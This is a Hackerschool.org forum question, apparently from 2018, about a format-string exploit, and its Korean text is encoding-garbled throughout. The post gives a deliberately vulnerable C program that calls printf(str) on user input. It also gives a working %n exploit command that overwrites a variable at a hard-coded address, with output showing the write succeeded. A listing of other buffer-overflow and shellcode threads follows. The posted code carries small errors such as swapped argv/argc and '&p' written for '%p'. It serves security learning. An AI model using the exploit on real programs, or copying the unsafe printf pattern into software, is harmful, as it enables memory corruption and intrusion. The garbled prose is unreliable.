ý ŷ

 1574, 71/79 ȸ  α  
   bufferover
   ˽Ʈ

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=1938 []


/*

fmt3_superdk.c

*/
#include <stdio.h>
#include <stdlib.h>

int main( int argv, char *argc[]){
   static int i = 0;
   char str[128];

   strcpy( str, argv[1]);
   printf( str );
   printf("\ni=&p, i=%d\n",&i,i);
}

α׷

./fmt3_superdk $(printf "\x84\x94\x04\x08")%8x%8x%8x%n
޸ ּ .. .. .. .. .. ..
i=0x8049484, i=28

̷ ߴµ $(printf "\x84\x94\x04\x08") ̰ ּҿ ٴ

$(޷ȣ) ȣ ǹ̰ ϸ ּҿ ˰ͽϴ.

  Hit : 2814     Date : 2018/09/14 09:19



    
dc4458 Լ ڸ ֱؼ

>α׷̸ 1 2

̷ Ѿ մϴ 츮 ؾ ڴ ܼ ڿ ƴ 16 üԴϴ. (ּҸ ϰ Ƿ 16 ؾմϴ) printf ̿ ִ ̴ϴ.

C printf Լ ù° ޵ ڿ дٰ (%d %x ,%n ) ι° , ° ڰ ִ° Ǵϰ ǪǾִ ð оԴϴ. о ð Ŀ ° (%d 10 , %x 16 ) Ѽ Ʈմϴ.

%nڴ Ưѵ %n ڰ µ ü ڿ Ͽ %n о ּҷ Ͽ ּҿ ڿ մϴ.

16 ּҸ Էϰ %nڰ ʿ Էص״ ּҰ ÿ оδٸ ϴ ͸ ְԵ˴ϴ.
2018/09/27  
174   ftz ssh [1]     bunggl
06/30 2400
173   ޴ ݹ ӵ     bumno9173
12/28 4294
172   Ե Ǯּ~^^[2]     bugbug
11/02 3163
  ˽Ʈ [1]     bufferover
09/14 2813
170   Buffer Overflow Ͽ ...[5]     buff3r
10/29 4747
169   windows bof սϴ.[2]     buff3r
08/29 3328
168   ʺε...[3]     bsylove23
12/06 4678
167   ȳϼ, г αۺα ־ Ÿڰ ư ׿-_-;[6]     bsh4507
08/25 4101
166   ŷ[2]     bpd
09/26 3085
165   ̹ ü غ ϴµ... ϳ ϰڽϴ.[4]     boxlug
01/08 3014
164   ٿ Ͽ ̿~~     boogie2
07/03 3268
163   shellcode 帳ϴ.[1]     bong93
01/07 2218
162   BOFԴϴ.[2]     bof
01/26 3278
161   ^D Ű °???[3]     boanerges
08/02 3842
160   NT Ʈ ..........     boanerges
08/02 4154
159   ݹ ġ.........[3]     boanerges
08/02 4634
158   C,assembly,basic,pascal,batch ......     boanerges
08/05 4066
157   ȯ ּҸ ̿ BOFݿ Ͽ [2]     bmc12
05/26 3581
156   egg ȯ 帳ϴ.[4]     bmc12
05/28 3454
155   ; ʹ ;[3]     bluskycomplex
03/21 3844
[1].. 71 [72][73][74][75][76][77][78][79]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org